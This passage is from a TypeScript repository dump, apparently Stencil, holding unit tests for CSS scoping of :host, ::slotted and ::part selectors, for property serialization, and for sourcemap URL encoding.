=> {\n    const css = 'one {color: red;}two {color: red;}';\n    const expected = 'one.a {color:red;}two.a {color:red;}';\n    expect(s(css, 'a')).toEqual(expected);\n  });\n\n  it('should handle invalid css', () => {\n    const css = 'one {color: red;}garbage';\n    const expected = 'one.a {color:red;}garbage';\n    expect(s(css, 'a')).toEqual(expected);\n  });\n\n  it('should add an attribute to every selector', () => {\n    const css = 'one, two {color: red;}';\n    const expected = 'one.a, two.a {color:red;}';\n    expect(s(css, 'a')).toEqual(expected);\n  });\n\n  it('should support newlines in the selector and content', () => {\n    const css = 'one, \\ntwo {\\ncolor: red;}';\n    const expected = 'one.a, two.a {color:red;}';\n    expect(s(css, 'a')).toEqual(expected);\n  });\n\n  it('should handle media rules', () => {\n    const css = '@media screen and (max-width:800px, max-height:100%) {div {font-size:50px;}}';\n    const expected = '@media screen and (max-width:800px, max-height:100%) {div.a {font-size:50px;}}';\n    expect(s(css, 'a')).toEqual(expected);\n  });\n\n  it('should handle page rules', () => {\n    const css = '@page {div {font-size:50px;}}';\n    const expected = '@page {div.a {font-size:50px;}}';\n    expect(s(css, 'a')).toEqual(expected);\n  });\n\n  it('should handle document rules', () => {\n    const css = '@document url(http://www.w3.org/) {div {font-size:50px;}}';\n    const expected = '@document url(http://www.w3.org/) {div.a {font-size:50px;}}';\n    expect(s(css, 'a')).toEqual(expected);\n  });\n\n  it('should handle media rules with simple rules', () => {\n    const css = '@media screen and (max-width: 800px) {div {font-size: 50px;}} div {}';\n    const expected = '@media screen and (max-width:800px) {div.a {font-size:50px;}} div.a {}';\n    expect(s(css, 'a')).toEqual(expected);\n  });\n\n  it('should handle support rules', () => {\n    const css = '@supports (display: flex) {section {display: flex;}}';\n    const expected = '@supports (display:flex) {section.a {display:flex;}}';\n    expect(s(css, 'a')).toEqual(expected);\n  });\n\n  // Check that the browser supports un-prefixed CSS animation\n  it('should handle keyframes rules', () => {\n    const css = '@keyframes foo {0% {transform:translate(-50%) scaleX(0);}}';\n    expect(s(css, 'a')).toEqual(css);\n  });\n\n  it('should handle -webkit-keyframes rules', () => {\n    const css = '@-webkit-keyframes foo {0% {-webkit-transform:translate(-50%) scaleX(0);}}';\n    expect(s(css, 'a')).toEqual(css);\n  });\n\n  it('should perform relative fast', () => {\n    const now = Date.now();\n    scopeCss(exampleComponentCss, 'a', true);\n    expect(Date.now() - now).toBeLessThan(200);\n  });\n\n  it('should handle complicated selectors', () => {\n    expect(s('one::before {}', 'a')).toEqual('one.a::before {}');\n    expect(s('one two {}', 'a')).toEqual('one.a two.a {}');\n    expect(s('one > two {}', 'a')).toEqual('one.a > two.a {}');\n    expect(s('one + two {}', 'a')).toEqual('one.a + two.a {}');\n    expect(s('one ~ two {}', 'a')).toEqual('one.a ~ two.a {}');\n    const res = s('.one.two > three {}', 'a'); // IE swap classes\n    expect(res === '.one.two.a > three.a {}' || res === '.two.one.a > three.a {}').toEqual(true);\n    expect(s('one[attr=\"value\"] {}', 'a')).toEqual('one[attr=\"value\"].a {}');\n    expect(s('one[attr=value] {}', 'a')).toEqual('one[attr=\"value\"].a {}');\n    expect(s('one[attr^=\"value\"] {}', 'a')).toEqual('one[attr^=\"value\"].a {}');\n    expect(s('one[attr$=\"value\"] {}', 'a')).toEqual('one[attr$=\"value\"].a {}');\n    expect(s('one[attr*=\"value\"] {}', 'a')).toEqual('one[attr*=\"value\"].a {}');\n    expect(s('one[attr|=\"value\"] {}', 'a')).toEqual('one[attr|=\"value\"].a {}');\n    expect(s('one[attr~=\"value\"] {}', 'a')).toEqual('one[attr~=\"value\"].a {}');\n    expect(s('one[attr=\"va lue\"] {}', 'a')).toEqual('one[attr=\"va lue\"].a {}');\n    expect(s('one[attr] {}', 'a')).toEqual('one[attr].a {}');\n    expect(s('[is=\"one\"] {}', 'a')).toEqual('[is=\"one\"].a {}');\n  });\n\n  it('should handle escaped \":\" in selector', () => {\n    expect(s('\\\\:one {}', 'a')).toEqual('\\\\:one.a {}');\n    expect(s('one\\\\:two {}', 'a')).toEqual('one\\\\:two.a {}');\n    expect(s('one\\\\:two:hover {}', 'a')).toEqual('one\\\\:two.a:hover {}');\n    expect(s('one\\\\:two::before {}', 'a')).toEqual('one\\\\:two.a::before {}');\n    expect(s('one\\\\:two::before:hover {}', 'a')).toEqual('one\\\\:two.a::before:hover {}');\n    expect(s('one\\\\:two:not(.three\\\\:four) {}', 'a')).toEqual('one\\\\:two.a:not(.three\\\\:four) {}');\n  });\n\n  describe(':host', () => {\n    it('should handle no context', () => {\n      expect(s(':host {}', 'a')).toEqual('.a-h {}');\n    });\n\n    it('should handle tag selector', () => {\n      expect(s(':host(ul) {}', 'a')).toEqual('ul.a-h {}');\n    });\n\n    it('should handle class selector', () => {\n      expect(s(':host(.x) {}', 'a')).toEqual('.x.a-h {}');\n    });\n\n    it('should handle attribute selector', () => {\n      expect(s(':host([a=\"b\"]) {}', 'a')).toEqual('[a=\"b\"].a-h {}');\n      expect(s(':host([a=b]) {}', 'a')).toEqual('[a=\"b\"].a-h {}');\n    });\n\n    it('should handle multiple tag selectors', () => {\n      expect(s(':host(ul,li) {}', 'a')).toEqual('ul.a-h, li.a-h {}');\n      expect(s(':host(ul,li) > .z {}', 'a')).toEqual('ul.a-h > .z.a, li.a-h > .z.a {}');\n    });\n\n    it('should handle multiple class selectors', () => {\n      expect(s(':host(.x,.y) {}', 'a')).toEqual('.x.a-h, .y.a-h {}');\n      expect(s(':host(.x,.y) > .z {}', 'a')).toEqual('.x.a-h > .z.a, .y.a-h > .z.a {}');\n    });\n\n    it('should handle multiple attribute selectors', () => {\n      expect(s(':host([a=\"b\"],[c=d]) {}', 'a')).toEqual('[a=\"b\"].a-h, [c=\"d\"].a-h {}');\n    });\n\n    it('should handle pseudo selectors', () => {\n      expect(s(':host(:before) {}', 'a')).toEqual('.a-h:before {}');\n      expect(s(':host:before {}', 'a')).toEqual('.a-h:before {}');\n      expect(s(':host:nth-child(8n+1) {}', 'a')).toEqual('.a-h:nth-child(8n+1) {}');\n      expect(s(':host:nth-of-type(8n+1) {}', 'a')).toEqual('.a-h:nth-of-type(8n+1) {}');\n      expect(s(':host(.class):before {}', 'a')).toEqual('.class.a-h:before {}');\n      expect(s(':host.class:before {}', 'a')).toEqual('.class.a-h:before {}');\n      expect(s(':host(:not(p)):before {}', 'a')).toEqual('.a-h:not(p):before {}');\n    });\n\n    it('should not replace the selector in a `@supports` rule', () => {\n      expect(s('@supports selector(:host()) {:host {color: red; }}', 'a')).toEqual(\n        '@supports selector(:host()) {.a-h {color:red;}}',\n      );\n    });\n  });\n\n  describe(':host-context', () => {\n    it('should handle tag selector', () => {\n      expect(s(':host-context(div) {}', 'a')).toEqual('div.a-h, div .a-h {}');\n      expect(s(':host-context(ul) > .y {}', 'a')).toEqual('ul.a-h > .y.a, ul .a-h > .y.a {}');\n    });\n\n    it('should handle class selector', () => {\n      expect(s(':host-context(.x) {}', 'a')).toEqual('.x.a-h, .x .a-h {}');\n\n      expect(s(':host-context(.x) > .y {}', 'a')).toEqual('.x.a-h > .y.a, .x .a-h > .y.a {}');\n    });\n\n    it('should handle attribute selector', () => {\n      expect(s(':host-context([a=\"b\"]) {}', 'a')).toEqual('[a=\"b\"].a-h, [a=\"b\"] .a-h {}');\n      expect(s(':host-context([a=b]) {}', 'a')).toEqual('[a=b].a-h, [a=\"b\"] .a-h {}');\n    });\n\n    it('should not replace the selector in a `@supports` rule', () => {\n      expect(s('@supports selector(:host-context(.class1)) {:host-context(.class1) {color: red; }}', 'a')).toEqual(\n        '@supports selector(:host-context(.class1)) {.class1.a-h, .class1 .a-h {color:red;}}',\n      );\n    });\n    ``;\n  });\n\n  describe('::slotted', () => {\n    it('should handle *', () => {\n      const r = s('::slotted(*) {}', 'sc-ion-tag');\n      expect(r).toEqual('.sc-ion-tag-s > * {}');\n    });\n\n    it('should handle * descendant', () => {\n      const r = s('::slotted(*) .my-class {}', 'sc-ion-tag');\n      expect(r).toEqual('.sc-ion-tag-s .my-class {}');\n    });\n\n    it('should handle :host complex selector', () => {\n      const r = s(':host > ::slotted(*:nth-of-type(2n - 1)) {}', 'sc-ion-tag');\n      expect(r).toEqual(\n        '.sc-ion-tag-h >.sc-ion-tag-s > *:nth-of-type(2n - 1), .sc-ion-tag-h > .sc-ion-tag-s > *:nth-of-type(2n - 1) {}',\n      );\n    });\n\n    it('should handle host-context complex selector', () => {\n      const r = s(':host-context(.red) > ::slotted(*:nth-of-type(2n - 1)) {}', 'sc-ion-tag');\n      expect(r).toEqual(\n        '.sc-ion-tag-h.red >.sc-ion-tag-s > *:nth-of-type(2n - 1), .sc-ion-tag-h.red > .sc-ion-tag-s > *:nth-of-type(2n - 1), .red .sc-ion-tag-h >.sc-ion-tag-s > *:nth-of-type(2n - 1), .red .sc-ion-tag-h > .sc-ion-tag-s > *:nth-of-type(2n - 1) {}',\n      );\n    });\n\n    it('should handle left side selector', () => {\n      const r = s('div::slotted(ul) {}', 'sc-ion-tag');\n      expect(r).toEqual('div.sc-ion-tag-s > ul {}');\n    });\n\n    it('should handle tag selector', () => {\n      const r = s('::slotted(ul) {}', 'sc-ion-tag');\n      expect(r).toEqual('.sc-ion-tag-s > ul {}');\n    });\n\n    it('should handle class selector', () => {\n      const r = s('::slotted(.foo) {}', 'sc-ion-tag');\n      expect(r).toEqual('.sc-ion-tag-s > .foo {}');\n    });\n\n    it('should handle multiple selector', () => {\n      const r = s('::slotted(ul), ::slotted(li) {}', 'sc-ion-tag');\n      expect(r).toEqual('.sc-ion-tag-s > ul, .sc-ion-tag-s > li {}');\n    });\n\n    it('should combine parent selector', () => {\n      const r = s('div{} .a .b .c ::slotted(*) {}', 'sc-ion-tag');\n      expect(r).toEqual('div.sc-ion-tag{} .a .b .c.sc-ion-tag-s > *, .a .b .c .sc-ion-tag-s > * {}');\n    });\n\n    it('same selectors', () => {\n      const r = s('::slotted(*) {}, ::slotted(*) {}, ::slotted(*) {}', 'sc-ion-tag');\n      expect(r).toEqual('.sc-ion-tag-s > * {}, .sc-ion-tag-s > * {}, .sc-ion-tag-s > * {}');\n    });\n\n    it('should combine parent selector when comma', () => {\n      const r = s('.a .b, .c ::slotted(*) {}', 'sc-ion-tag');\n      expect(r).toEqual('.a.sc-ion-tag .b.sc-ion-tag, .c.sc-ion-tag-s > *, .c .sc-ion-tag-s > * {}');\n    });\n\n    it('should not replace the selector in a `@supports` rule', () => {\n      expect(s('@supports selector(::slotted(*)) {::slotted(*) {color: red; }}', 'sc-cmp')).toEqual(\n        '@supports selector(::slotted(*)) {.sc-cmp-s > * {color:red;}}',\n      );\n    });\n\n    it('should not match partial selectors when expanding slotted with descendants', () => {\n      // This tests a bug where :host ::slotted(p) b a would incorrectly include\n      // an extra selector from :host ::slotted(p) b due to substring matching\n      const r = s(':host ::slotted(p) b {} :host ::slotted(p) b a {}', 'sc-my-component');\n      expect(r).toEqual(\n        '.sc-my-component-h.sc-my-component-s > p b, .sc-my-component-h .sc-my-component-s > p b {} .sc-my-component-h.sc-my-component-s > p b a, .sc-my-component-h .sc-my-component-s > p b a {}',\n      );\n    });\n  });\n\n  it('should handle ::shadow', () => {\n    const css = s('x::shadow > y {}', 'a');\n    expect(css).toEqual('x.a > y.a {}');\n  });\n\n  it('should pass through @import directives', () => {\n    const styleStr = '@import url(\"https://fonts.googleapis.com/css?family=Roboto\");';\n    const css = s(styleStr, 'a');\n    expect(css).toEqual(styleStr);\n  });\n\n  it('should shim rules after @import', () => {\n    const styleStr = '@import url(\"a\"); div {}';\n    const css = s(styleStr, 'a');\n    expect(css).toEqual('@import url(\"a\"); div.a {}');\n  });\n\n  it('should leave calc() unchanged', () => {\n    const styleStr = 'div {height:calc(100% - 55px);}';\n    const css = s(styleStr, 'a');\n    expect(css).toEqual('div.a {height:calc(100% - 55px);}');\n  });\n\n  it('should strip comments', () => {\n    expect(s('/* x */b {c}', 'a')).toEqual('b.a {c}');\n  });\n\n  it('should ignore special characters in comments', () => {\n    expect(s('/* {;, */b {c}', 'a')).toEqual('b.a {c}');\n  });\n\n  it('should support multiline comments', () => {\n    expect(s('/* \\n */b {c}', 'a')).toEqual('b.a {c}');\n  });\n\n  it('should keep sourceMappingURL comments', () => {\n    expect(s('b {c}/*# sourceMappingURL=data:x */', 'a')).toEqual('b.a {c}/*# sourceMappingURL=data:x */');\n    expect(s('b {c}/* #sourceMappingURL=data:x */', 'a')).toEqual('b.a {c}/* #sourceMappingURL=data:x */');\n  });\n\n  describe('expands ::part selectors', () => {\n    it('basic', () => {\n      const r = s('::part(part) {}', 'sc-ion-tag');\n      expect(r).toEqual('.sc-ion-tag::part(part), .sc-ion-tag [part~=\"part\"] {}');\n    });\n    it('complex', () => {\n      const r = s(':where(something something-else) > .something::part(part part2):hover::after {}', 'sc-ion-tag');\n\n      expect(r).toEqual(\n        '.sc-ion-tag:where(something something-else) > .something.sc-ion-tag::part(part part2):hover::after, .sc-ion-tag:where(something something-else) > .something.sc-ion-tag [part~=\"part\"][part~=\"part2\"]:hover::after {}',\n      );\n    });\n    it('ignores already processed', () => {\n      const r = s('.something::part(part part2), .something [part~=\"part\"][part~=\"part2\"] {}', 'sc-ion-tag');\n      expect(r).toEqual(\n        '.something.sc-ion-tag::part(part part2), .something.sc-ion-tag [part~=\"part\"][part~=\"part2\"] {}',\n      );\n    });\n  });\n});\n"
  },
  {
    "path": "src/utils/test/serialize.spec.ts",
    "content": "import { deserializeProperty, serializeProperty } from '../serialize';\n\ndescribe('serialize', () => {\n  it('should serialize and deserialize a simple object', () => {\n    const toSerialize = { foo: 'bar' };\n    expect(deserializeProperty(serializeProperty(toSerialize) as string)).toEqual(toSerialize);\n  });\n\n  it('should serialize and deserialize a simple array', () => {\n    const toSerialize = [1, 2, 3];\n    expect(deserializeProperty(serializeProperty(toSerialize) as string)).toEqual(toSerialize);\n  });\n\n  describe('should serialize and deserialize special number values', () => {\n    const specialNumbers = [NaN, Infinity, -Infinity, -0];\n    specialNumbers.forEach((num) => {\n      it(`should serialize and deserialize ${num}`, () => {\n        const serialized = serializeProperty(num) as string;\n        const deserialized = deserializeProperty(serialized);\n        if (Number.isNaN(num)) {\n          expect(Number.isNaN(deserialized)).toBe(true);\n        } else {\n          expect(Object.is(deserialized, num)).toBe(true);\n        }\n      });\n    });\n  });\n\n  it('should serialize and deserialize complex nested structures', () => {\n    const date = new Date('2024-01-01');\n    const regex = /test/gi;\n    const toSerialize = {\n      array: [1, 'two', { three: 3 }],\n      date: date,\n      regex: regex,\n      nested: {\n        map: new Map([['key', 'value']]),\n        set: new Set([1, 2, 3]),\n      },\n    };\n\n    const deserialized = deserializeProperty(serializeProperty(toSerialize) as string);\n\n    expect(deserialized.array).toEqual([1, 'two', { three: 3 }]);\n    expect(deserialized.date).toEqual(date);\n    expect(deserialized.regex.source).toBe(regex.source);\n    expect(deserialized.regex.flags).toBe(regex.flags);\n    expect(deserialized.nested.map.get('key')).toBe('value');\n    expect(Array.from(deserialized.nested.set)).toEqual([1, 2, 3]);\n  });\n\n  it('should serialize and deserialize Map with non-string keys', () => {\n    const map = new Map([\n      [1, 'number key'],\n      [{ complex: 'key' }, 'object key'],\n      ['string', 'string key'],\n    ] as any);\n\n    const deserialized = deserializeProperty(serializeProperty(map) as string);\n    expect(deserialized.get(1)).toBe('number key');\n    expect(deserialized.get('string')).toBe('string key');\n    // Note: object keys will be serialized/deserialized but won't be strictly equal\n    expect(Array.from(deserialized.entries()).length).toBe(3);\n  });\n\n  it('should serialize and deserialize Symbols', () => {\n    const symbolKey = Symbol('test');\n    const obj = {\n      [symbolKey]: 'symbol value',\n      regularKey: Symbol('another'),\n    };\n\n    const deserialized = deserializeProperty(serializeProperty(obj) as string);\n    expect(deserialized.regularKey.description).toBe('another');\n  });\n\n  it('should handle null and undefined values', () => {\n    const toSerialize: any = {\n      nullValue: null,\n      undefinedValue: undefined,\n      nested: {\n        nullValue: null,\n        undefinedValue: undefined,\n      },\n    };\n\n    const deserialized = deserializeProperty(serializeProperty(toSerialize) as string);\n    expect(deserialized.nullValue).toBeNull();\n    expect(deserialized.undefinedValue).toBeUndefined();\n    expect(deserialized.nested.nullValue).toBeNull();\n    expect(deserialized.nested.undefinedValue).toBeUndefined();\n  });\n\n  it('should serialize and deserialize BigInt values', () => {\n    const toSerialize = {\n      bigInt: BigInt('9007199254740991'),\n      nested: {\n        bigInt: BigInt('1234567890'),\n      },\n    };\n\n    const deserialized = deserializeProperty(serializeProperty(toSerialize) as string);\n    expect(deserialized.bigInt).toBe(BigInt('9007199254740991'));\n    expect(deserialized.nested.bigInt).toBe(BigInt('1234567890'));\n  });\n\n  it('should handle circular references gracefully', () => {\n    const circular: any = { foo: 'bar' };\n    circular.self = circular;\n\n    expect(() => serializeProperty(circular)).toThrow();\n  });\n});\n"
  },
  {
    "path": "src/utils/test/sourcemaps.spec.ts",
    "content": "import {\n  getInlineSourceMappingUrlLinker,\n  getSourceMappingUrlForEndOfFile,\n  getSourceMappingUrlLinker,\n  rollupToStencilSourceMap,\n} from '@utils';\nimport { SourceMap as RollupSourceMap } from 'rollup';\n\nimport type * as d from '../../declarations';\n\ndescribe('sourcemaps', () => {\n  describe('rollupToStencilSourceMap', () => {\n    it('returns null if the given sourcemap is null', () => {\n      expect(rollupToStencilSourceMap(null)).toBeNull();\n    });\n\n    it('returns null if the given sourcemap is undefined', () => {\n      expect(rollupToStencilSourceMap(undefined)).toBeNull();\n    });\n\n    it('returns null if the given sourcemap has no file', () => {\n      expect(rollupToStencilSourceMap({ sourcesContent: [] } as RollupSourceMap)).toBeNull();\n    });\n\n    it('transforms a rollup sourcemap to a stencil sourcemap', () => {\n      const rollupSourceMap: RollupSourceMap = {\n        file: 'index.js',\n        mappings: ';;AAAA;AAC9D,GAAG,CAAC,CAAC;AACL;;;;',\n        names: ['bootstrapLazy'],\n        sources: ['\"@lazy-external-entrypoint?app-data=conditional\"'],\n        sourcesContent: [\n          '/*\\\\n Stencil Client Patch Esm v0.0.0-dev.20210825190806 | MIT Licensed | https://stenciljs.com\\\\n */',\n        ],\n        version: 3,\n        toString: () => 'stub',\n        toUrl: () => 'stub',\n      };\n\n      const stencilSourceMap = rollupToStencilSourceMap(rollupSourceMap);\n\n      const expectedSourceMap: d.SourceMap = {\n        file: 'index.js',\n        mappings: ';;AAAA;AAC9D,GAAG,CAAC,CAAC;AACL;;;;',\n        names: ['bootstrapLazy'],\n        sources: ['\"@lazy-external-entrypoint?app-data=conditional\"'],\n        sourcesContent: [\n          '/*\\\\n Stencil Client Patch Esm v0.0.0-dev.20210825190806 | MIT Licensed | https://stenciljs.com\\\\n */',\n        ],\n        version: 3,\n      };\n      expect(stencilSourceMap).toEqual(expectedSourceMap);\n    });\n  });\n\n  describe('getSourceMappingUrlLinker', () => {\n    it('returns a correctly formatted url', () => {\n      expect(getSourceMappingUrlLinker('some-pkg')).toBe('//# sourceMappingURL=some-pkg');\n    });\n\n    it('handles question marks in URLs', () => {\n      expect(getSourceMappingUrlLinker('some-pkg?')).toBe('//# sourceMappingURL=some-pkg%3F');\n    });\n\n    it('handles equal signs in URLs', () => {\n      expect(getSourceMappingUrlLinker('some-pkg=')).toBe('//# sourceMappingURL=some-pkg%3D');\n    });\n\n    it('handles ampersands in URLs', () => {\n      expect(getSourceMappingUrlLinker('some-pkg&')).toBe('//# sourceMappingURL=some-pkg%26');\n    });\n\n    it('handles slashes in URLs', () => {\n      expect(getSourceMappingUrlLinker('some-pkg/')).toBe('//# sourceMappingURL=some-pkg%2F');\n    });\n\n    it('handles exclamation points in URLs', () => {\n      expect(getSourceMappingUrlLinker('some-pkg!')).toBe('//# sourceMappingURL=some-pkg%21');\n    });\n\n    it('handles single quotes in URLs', () => {\n      expect(getSourceMappingUrlLinker(\"some-'pkg'\")).toBe('//# sourceMappingURL=some-%27pkg%27');\n    });\n\n    it('handles parenthesis in URLs', () => {\n      expect(getSourceMappingUrlLinker('some-(pkg)')).toBe('//# sourceMappingURL=some-%28pkg%29');\n    });\n\n    it('handles asterisks in URLs', () => {\n      expect(getSourceMappingUrlLinker('some-pkg*')).toBe('//# sourceMappingURL=some-pkg%2a');\n    });\n\n    it('encodes multiple disallowed characters at once', () => {\n      expect(getSourceMappingUrlLinker('!some-(pkg)*')).toBe('//# sourceMappingURL=%21some-%28pkg%29%2a');\n    });\n  });\n\n  describe('getInlineSourceMappingUrlLinker', () => {\n    it('returns a correctly formatted sourcemap', () => {\n      expect(\n        getInlineSourceMappingUrlLinker(\n          '{\"version\":3,\"file\":\"sourcemaps.js\",\"sourceRoot\":\"\",\"sources\":[\"sourcemaps.ts\"],\"names\":[],\"mappings\":\";;AAAA,mCAKgB;\"}',\n        ),\n      ).toBe(\n        '//# sourceMappingURL=data:application/json;charset=utf-8;base64,' +\n          'eyJ2ZXJzaW9uIjozLCJmaWxlIjoic291cmNlbWFwcy5qcyIsInNvdXJjZVJvb3QiOiIiLCJzb3VyY2VzIjpbInNvdXJjZW1hcHMudHMiXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6Ijs7QUFBQSxtQ0FLZ0I7In0=',\n      );\n    });\n\n    it('handles question marks in sourcemaps', () => {\n      expect(\n        getInlineSourceMappingUrlLinker(\n          '{\"version\":3,\"file\":\"source?maps.js\",\"sourceRoot\":\"\",\"sources\":[\"source?maps.ts\"],\"names\":[],\"mappings\":\";;AAAA,mCAKgB;\"}',\n        ),\n      ).toBe(\n        '//# sourceMappingURL=data:application/json;charset=utf-8;base64,' +\n          'eyJ2ZXJzaW9uIjozLCJmaWxlIjoic291cmNlP21hcHMuanMiLCJzb3VyY2VSb290IjoiIiwic291cmNlcyI6WyJzb3VyY2U/bWFwcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiOztBQUFBLG1DQUtnQjsifQ==',\n      );\n    });\n\n    it('handles plus signs in sourcemaps', () => {\n      expect(\n        getInlineSourceMappingUrlLinker(\n          '{\"version\":3,\"file\":\"source+maps.js\",\"sourceRoot\":\"\",\"sources\":[\"source+maps.ts\"],\"names\":[],\"mappings\":\";;AAAA,mCAKgB;\"}',\n        ),\n      ).toBe(\n        '//# sourceMappingURL=data:application/json;charset=utf-8;base64,' +\n          'eyJ2ZXJzaW9uIjozLCJmaWxlIjoic291cmNlK21hcHMuanMiLCJzb3VyY2VSb290IjoiIiwic291cmNlcyI6WyJzb3VyY2UrbWFwcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiOztBQUFBLG1DQUtnQjsifQ==',\n      );\n    });\n\n    it('handles equal signs in sourcemaps', () => {\n      expect(\n        getInlineSourceMappingUrlLinker(\n          '{\"version\":3,\"file\":\"source=maps.js\",\"sourceRoot\":\"\",\"sources\":[\"source=maps.ts\"],\"names\":[],\"mappings\":\";;AAAA,mCAKgB;\"}',\n        ),\n      ).toBe(\n        '//# sourceMappingURL=data:application/json;charset=utf-8;base64,' +\n          'eyJ2ZXJzaW9uIjozLCJmaWxlIjoic291cmNlPW1hcHMuanMiLCJzb3VyY2VSb290IjoiIiwic291cmNlcyI6WyJzb3VyY2U9bWFwcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiOztBQUFBLG1DQUtnQjsifQ==',\n      );\n    });\n\n    it('handles ampersands in sourcemaps', () => {\n      expect(\n        getInlineSourceMappingUrlLinker(\n          '{\"version\":3,\"file\":\"source&maps.js\",\"sourceRoot\":\"\",\"sources\":[\"source&maps.ts\"],\"names\":[],\"mappings\":\";;AAAA,mCAKgB;\"}',\n        ),\n      ).toBe(\n        '//# sourceMappingURL=data:application/json;charset=utf-8;base64,' +\n          'eyJ2ZXJzaW9uIjozLCJmaWxlIjoic291cmNlJm1hcHMuanMiLCJzb3VyY2VSb290IjoiIiwic291cmNlcyI6WyJzb3VyY2UmbWFwcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiOztBQUFBLG1DQUtnQjsifQ==',\n      );\n    });\n\n    it('handles slashes in sourcemaps', () => {\n      expect(\n        getInlineSourceMappingUrlLinker(\n          '{\"version\":3,\"file\":\"source/maps.js\",\"sourceRoot\":\"\",\"sources\":[\"source/maps.js.ts\"],\"names\":[],\"mappings\":\";;AAAA,mCAKgB;\"}',\n        ),\n      ).toBe(\n        '//# sourceMappingURL=data:application/json;charset=utf-8;base64,' +\n          'eyJ2ZXJzaW9uIjozLCJmaWxlIjoic291cmNlL21hcHMuanMiLCJzb3VyY2VSb290IjoiIiwic291cmNlcyI6WyJzb3VyY2UvbWFwcy5qcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiOztBQUFBLG1DQUtnQjsifQ==',\n      );\n    });\n\n    it('handles exclamation points in sourcemaps', () => {\n      expect(\n        getInlineSourceMappingUrlLinker(\n          '{\"version\":3,\"file\":\"sourcemaps!.js\",\"sourceRoot\":\"\",\"sources\":[\"sourcemaps!.ts\"],\"names\":[],\"mappings\":\";;AAAA,mCAKgB;\"}',\n        ),\n      ).toBe(\n        '//# sourceMappingURL=data:application/json;charset=utf-8;base64,' +\n          'eyJ2ZXJzaW9uIjozLCJmaWxlIjoic291cmNlbWFwcyEuanMiLCJzb3VyY2VSb290IjoiIiwic291cmNlcyI6WyJzb3VyY2VtYXBzIS50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiOztBQUFBLG1DQUtnQjsifQ==',\n      );\n    });\n\n    it('handles single quotes in sourcemaps', () => {\n      expect(\n        getInlineSourceMappingUrlLinker(\n          '{\"version\":3,\"file\":\"source\\'maps.js\",\"sourceRoot\":\"\",\"sources\":[\"source\\'maps.ts\"],\"names\":[],\"mappings\":\";;AAAA,mCAKgB;\"}',\n        ),\n      ).toBe(\n        '//# sourceMappingURL=data:application/json;charset=utf-8;base64,' +\n          'eyJ2ZXJzaW9uIjozLCJmaWxlIjoic291cmNlJ21hcHMuanMiLCJzb3VyY2VSb290IjoiIiwic291cmNlcyI6WyJzb3VyY2UnbWFwcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiOztBQUFBLG1DQUtnQjsifQ==',\n      );\n    });\n\n    it('handles parenthesis in sourcemaps', () => {\n      expect(\n        getInlineSourceMappingUrlLinker(\n          '{\"version\":3,\"file\":\"source()maps.js\",\"sourceRoot\":\"\",\"sources\":[\"source()maps.ts\"],\"names\":[],\"mappings\":\";;AAAA,mCAKgB;\"}',\n        ),\n      ).toBe(\n        '//# sourceMappingURL=data:application/json;charset=utf-8;base64,' +\n          'eyJ2ZXJzaW9uIjozLCJmaWxlIjoic291cmNlKCltYXBzLmpzIiwic291cmNlUm9vdCI6IiIsInNvdXJjZXMiOlsic291cmNlKCltYXBzLnRzIl0sIm5hbWVzIjpbXSwibWFwcGluZ3MiOiI7O0FBQUEsbUNBS2dCOyJ9',\n      );\n    });\n\n    it('handles asterisks in sourcemaps', () => {\n      expect(\n        getInlineSourceMappingUrlLinker(\n          '{\"version\":3,\"file\":\"source*maps.js\",\"sourceRoot\":\"\",\"sources\":[\"source*maps.ts\"],\"names\":[],\"mappings\":\";;AAAA,mCAKgB;\"}',\n        ),\n      ).toBe(\n        '//# sourceMappingURL=data:application/json;charset=utf-8;base64,' +\n          'eyJ2ZXJzaW9uIjozLCJmaWxlIjoic291cmNlKm1hcHMuanMiLCJzb3VyY2VSb290IjoiIiwic291cmNlcyI6WyJzb3VyY2UqbWFwcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiOztBQUFBLG1DQUtnQjsifQ==',\n      );\n    });\n\n    it('encodes multiple disallowed characters at once', () => {\n      expect(\n        getInlineSourceMappingUrlLinker(\n          '{\"version\":3,\"file\":\"!source(maps)*.js\",\"sourceRoot\":\"\",\"sources\":[\"!source(maps)*.ts\"],\"names\":[],\"mappings\":\";;AAAA,mCAKgB;\"}',\n        ),\n      ).toBe(\n        '//# sourceMappingURL=data:application/json;charset=utf-8;base64,' +\n          'eyJ2ZXJzaW9uIjozLCJmaWxlIjoiIXNvdXJjZShtYXBzKSouanMiLCJzb3VyY2VSb290IjoiIiwic291cmNlcyI6WyIhc291cmNlKG1hcHMpKi50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiOztBQUFBLG1DQUtnQjsifQ==',\n      );\n    });\n  });\n\n  describe('getSourceMappingUrlLinkerWithNewline', () => {\n    it('returns a correctly formatted url', () => {\n      expect(getSourceMappingUrlForEndOfFile('some-pkg')).toBe('\\n//# sourceMappingURL=some-pkg.map');\n    });\n\n    it('handles question marks in URLs', () => {\n      expect(getSourceMappingUrlForEndOfFile('some-pkg?')).toBe('\\n//# sourceMappingURL=some-pkg%3F.map');\n    });\n\n    it('handles equal signs in URLs', () => {\n      expect(getSourceMappingUrlForEndOfFile('some-pkg=')).toBe('\\n//# sourceMappingURL=some-pkg%3D.map');\n    });\n\n    it('handles ampersands in URLs', () => {\n      expect(getSourceMappingUrlForEndOfFile('some-pkg&')).toBe('\\n//# sourceMappingURL=some-pkg%26.map');\n    });\n\n    it('handles slashes in URLs', () => {\n      expect(getSourceMappingUrlForEndOfFile('some-pkg/')).toBe('\\n//# sourceMappingURL=some-pkg%2F.map');\n    });\n\n    it('handles exclamation points in URLs', () => {\n      expect(getSourceMappingUrlForEndOfFile('some-pkg!')).toBe('\\n//# sourceMappingURL=some-pkg%21.map');\n    });\n\n    it('handles single quotes in URLs', () => {\n      expect(getSourceMappingUrlForEndOfFile(\"some-'pkg'\")).toBe('\\n//# sourceMappingURL=some-%27pkg%27.map');\n    });\n\n    it('handles parenthesis in URLs', () => {\n      expect(getSourceMappingUrlForEndOfFile('some-(pkg)')).toBe('\\n//# sourceMappingURL=some-%28pkg%29.map');\n    });\n\n    it('handles asterisks in URLs', () => {\n      